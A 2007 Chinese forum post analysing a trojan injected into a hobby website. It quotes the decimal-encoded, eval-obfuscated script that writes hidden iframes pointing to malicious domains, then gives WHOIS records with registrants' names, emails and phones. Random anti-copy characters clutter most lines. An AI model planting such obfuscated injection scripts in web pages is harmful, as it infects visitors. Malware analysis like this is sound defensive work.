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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, sx 9uV  
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http://www.areway.cn/?p=175 M#,Q ^rH#  
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vl:J40Kfn  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: s8<gK.atl  
          ,^$ |R32  
<script>t=’60,105,102,114,97,109,101, ,gx)w^WTm  
32,115,114,99,61,104,116,116,112,58,47,47, 3[IJhR[  
102,114,101,101,46,117,45,117,117,117,46,99, #0"~G][#  
110,47,101,114,114,111,114,46,104,116,109, +(?>-3_z  
32,119,105,100,116,104,61,49,48,48,32,104, U \oy8FZ  
101,105,103,104,116,61,48,62,60,47,105,102, kV&9`c+  
114,97,109,101,62′; aeP[+I9  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> cpZc9;@IC  
                                                                                                  S%mfs!E>  
<script>t=’60,105,102,114,97,109,101,32,115, Ug%_@t/?  
114,99,61,104,116,116,112,58,47,47,102,114, jQh^WmN  
101,101,46,117,45,117,117,117,46,99,110,47, {Wv% zA*8  
101,114,114,111,114,46,104,116,109,32,119, 'g)n1 {  
105,100,116,104,61,49,48,48,32,104,101,105, U|@V 74  
103,104,116,61,48,62,60,47,105,102,114,97, h7yqk4'Lq  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); Ev9 >@~^  
document.write(t);</script> $ uh z  
                                                                                                  OCV+h'  
<html xmlns=” l7}g^\I  
http://www.w3.org/1999/xhtml K@u&(}  
“> m:+8J,jW  
<head> gfa[4 z  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> Q2|p \rO  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> _\8qwDg"#e  
<title>首页 - 爱生活家庭网 aP-<4uGx  
                                                                                                                                                    Ykqyk')wm  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 bzZ>lyH  
转换字符串后的大概内容是(谁点击后果自付): b-^p1{A0zW  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… kkCZNQ~I  
                                                                                                                                  3Q By\1h.  
查询玉米u-uuu.cn的详细信息: HU;#XU1  
Domain Name: u-uuu.cn uJU*")\V  
ROID: 20070901s10001s64972306-cn 1wj:aD?g  
Domain Status: ok /JJw 6[ N  
Registrant Organization: 王雷 n,'OiVl[  
Registrant Name: 王雷 h9s >LY  
Administrative Email: czlovexs@126.com FMw&(  
Sponsoring Registrar: 北京万网志成科技有限公司 '0RwO[A#1  
Name Server:ns.yovole.com G"SBYU  
Name Server:ns1.yovole.com {zLhiUH a0  
Registration Date: 2007-09-01 17:54 3ec`Wa  
Expiration Date: 2008-09-01 17:54 iw9Q18:I}  
最后PING了一下地址 都没有什么…. 5F"|E-;  
                                                                                                B4Y(?JTx  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. #*%q'gyHT  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> tY|8s]{2  
<script language=”javascript” src=” ~x:DXEV,  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script w.{&=WTr  
> v-b0\_  
这个玉米应该有可能是木马作者的: lUOvm\  
foafau.info的详细信息: $md%x mQ[  
Access to INFO WHOIS information is provided to assist persons in c=O,;lWFqm  
determining the contents of a domain name registration record in the w'Tq3-%V  
Afilias registry database. The data in this record is provided by -~{c u47_  
Afilias Limited for informational purposes only, and Afilias does not K2)!h.W  
guarantee its accuracy.  This service is intended only for query-based iBg3mc@OO  
access. You agree that you will use this data only for lawful purposes uQ1@b-e`5  
and that, under no circumstances will you use this data to: (a) allow, o{:xp r=(  
enable, or otherwise support the transmission by e-mail, telephone, or b*kfWG-6t  
facsimile of mass unsolicited, commercial advertising or solicitations XOP"Px@  
to entities other than the data recipient’s own existing customers; or / ~ %KVe  
(b) enable high volume, automated, electronic processes that send .Pndx%X9s  
queries or data to the systems of Registry Operator, a Registrar, or Jju#iwb  
Afilias except as reasonably necessary to register domain names or r=uN9ro  
modify existing registrations. All rights reserved. Afilias reserves o{qr!*_3  
the right to modify these terms at any time. By submitting this query, [Nm4sI11  
you agree to abide by this policy. Sjj>#}U  
Domain ID:D22418703-LRMS =8Jfgq9E  
Domain Name:FOAFAU.INFO M~e0lg8  
Created On:20-Nov-2007 16:05:42 UTC k%c{ETdE  
Last Updated On:20-Nov-2007 16:05:44 UTC dUrElXbXd  
Expiration Date:20-Nov-2008 16:05:42 UTC ||7x;2e  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) LW6ZAETyL  
Status:CLIENT DELETE PROHIBITED y9H% Xl  
Status:CLIENT RENEW PROHIBITED <x pph t<  
Status:CLIENT TRANSFER PROHIBITED ZUm?*.g\^  
Status:CLIENT UPDATE PROHIBITED \>. LW9  
Status:TRANSFER PROHIBITED 1/+C5Bp*  
Registrant ID:GODA-040110615 {$D,?V@%_  
Registrant Name:liu hong > et-{(G  
Registrant Organization: *iO u'  
Registrant Street1:beijing enS}A*Io  
Registrant Street2: s8"8y`u  
Registrant Street3: {P%9  
Registrant City:beijing H9XvO  
Registrant State/Province: 7cP@jj  
Registrant Postal Code:100000 <*ZJaBwWU~  
Registrant Country:CN 4rT*tW"U  
Registrant Phone:+86.860108888777 :$;Fhf<5  
Registrant Phone Ext.: f 3V Dv9(  
Registrant FAX: O|IG_RL]  
Registrant FAX Ext.: BF*kb2"GZ6  
Registrant Email:bbbshiji@163.com $ i)bq6  
Admin ID:GODA-240110615 !%+2Yifna  
Admin Name:liu hong jd]s<C3o  
Admin Organization: "xI"  
Admin Street1:beijing aimarU  
Admin Street2: qU2~fNY  
Admin Street3: k %e^kej  
Admin City:beijing {R<Ea @LV+  
Admin State/Province: >zsid:  
Admin Postal Code:100000 /-_=nf}w  
Admin Country:CN x5`br.b  
Admin Phone:+86.860108888777 |:[tNs*,O  
Admin Phone Ext.: +CH},@j  
Admin FAX: K;?,FlH  
Admin FAX Ext.: <~ad:[  
Admin Email:bbbshiji@163.com 6fH@wQ"wN  
Billing ID:GODA-340110615 q\Q{sv_  
Billing Name:liu hong TNCgaTJ{h  
Billing Organization: d<!3`qe  
Billing Street1:beijing 3`d}~v{  
Billing Street2: ?_x q-  
Billing Street3: s^0/"j|7  
Billing City:beijing 4'j sDcs  
Billing State/Province: F^"_TV0va  
Billing Postal Code:100000 `e9$,h|4  
Billing Country:CN Q?ahr~qo  
Billing Phone:+86.860108888777 1wzqGmjmt  
Billing Phone Ext.: fx=Awba  
Billing FAX: ,g-EW jN  
Billing FAX Ext.: 6R-&-4  
Billing Email:bbbshiji@163.com YBYZ=,"d  
Tech ID:GODA-140110615 K 8n4oz#z  
Tech Name:liu hong >EL)X #e  
Tech Organization: hT$~ygQ  
Tech Street1:beijing qPB8O1fyU  
Tech Street2: tO7v4  
Tech Street3: LTNj| u  
Tech City:beijing 3 !Sp0P  
Tech State/Province: :q8b;*:  
Tech Postal Code:100000 iHwLZ[O{  
Tech Country:CN UNijFGi  
Tech Phone:+86.860108888777 =PRx?q`d  
Tech Phone Ext.: S)QAXjH  
Tech FAX: ;Op3?_  
Tech FAX Ext.: +4[^!q* H  
Tech Email:bbbshiji@163.com s2?T5oWU  
Name Server:NS27.DOMAINCONTROL.COM  Q~R ~xz  
Name Server:NS28.DOMAINCONTROL.COM Q9I j\HbA"  
Name Server: WLF0US'  
Name Server: 8^Hn"v  
Name Server: }I 3gU  
Name Server: G+B~Ix-  
Name Server: M02uO`Y9  
Name Server: 4S~o-`&W  
Name Server: h\plQ[T  
Name Server: 8N:owK  
Name Server: &_JD)mM5  
Name Server: 4}_O`Uxh  
Name Server: Gl1jxxd  
                                                                                                          ,Jcm+ Wb  
接着下载每个文件里面的代码: "UEv&mQ  
一步一步看.. lb'GXd %  
T\Uek-(  
iXyO(w4D  
<0yE 5Mrf  
>=]'hyn]]  
f;/QJ  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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